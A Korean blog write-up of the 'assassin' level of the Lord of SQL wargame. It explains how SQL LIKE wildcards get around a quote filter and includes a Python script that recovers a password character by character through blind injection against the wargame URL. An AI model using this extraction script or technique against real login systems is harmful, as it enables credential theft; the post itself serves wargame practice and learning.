'(single quarter)가 필터링이 되어있어서 억지로 'admin'을 만들지도 못하고 이리저리 힘든 문제입니다.

하지만 like에 대한 내용만 잘 알고 있다면 쉽게 풀 수 있는 문제입니다.



LIKE를 사용할 때 보통 '=' 대신 써서 동일한 문자열을 비교하는 용도로 썼지만 그 밖에 '%'와 '_'를 이용한 방법도 있습니다.

'%'는 문자열을 나타내고, '_'는 문자 하나를 나타냅니다.


like 'a%' 는 'a'로 시작되는 모든 문자열을 뜻하고,

like '%a' 는 'a'로 끝나는 모든 문자열을 뜻합니다.

like '_bc' 는 뒤에 두 글자가 'bc'인 모든 문자열을 뜻합니다.


따라서 다음과 같이 '%'만 쓸 경우에는 모든 문자열을 나타내기 때문에 참이 됩니다.

"Hello guest"라고 뜨네요.



또한 '_' 문자열은 문자 하나를 뜻하기 때문에 하나씩 늘려가면서 해보면 pw의 길이를 알 수 있습니다.

8자리에서 "Hello guest"라고 나옵니다.


하지만 엄청나게 많은 '_'를 입력해도 'admin'이라는 문자는 나오지 않습니다.


그렇다면 'guest'와 'admin'의 pw의 길이가 같다고 생각 할 수 있습니다.



하나씩 하기에 무리가 있으니 python 코드를 이용해서 해봅니다.


다음 코드를 이용하면 'guest'의 pw를 알아낼 수 있습니다.

하지만 'admin'의 pw는 알아낼 수 없습니다.


'guest'의 pw의 맨 처음 글자가 '8'인데 '8'을 제외하고 해봐도 나오지 않는 것을 보면 

'admin'의 패스워드의 첫 시작도 '8'이라 짐작 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?'
 
index_list = range(48,58)+range(97,123)
password = ''
 
for i in range(1,9):
    for j in index_list:
        #query = "pw="+"_"*i
        query = "pw="+password+chr(j)+"%25"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello guest")>0):
            password += chr(j)
            print("password : "+password)
            break
cs



그렇게 하나하나 하다 보면 다음처럼 일찍 해결할 수 도 있고, 정확한 pw를 구할 수도 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06

+ Recent posts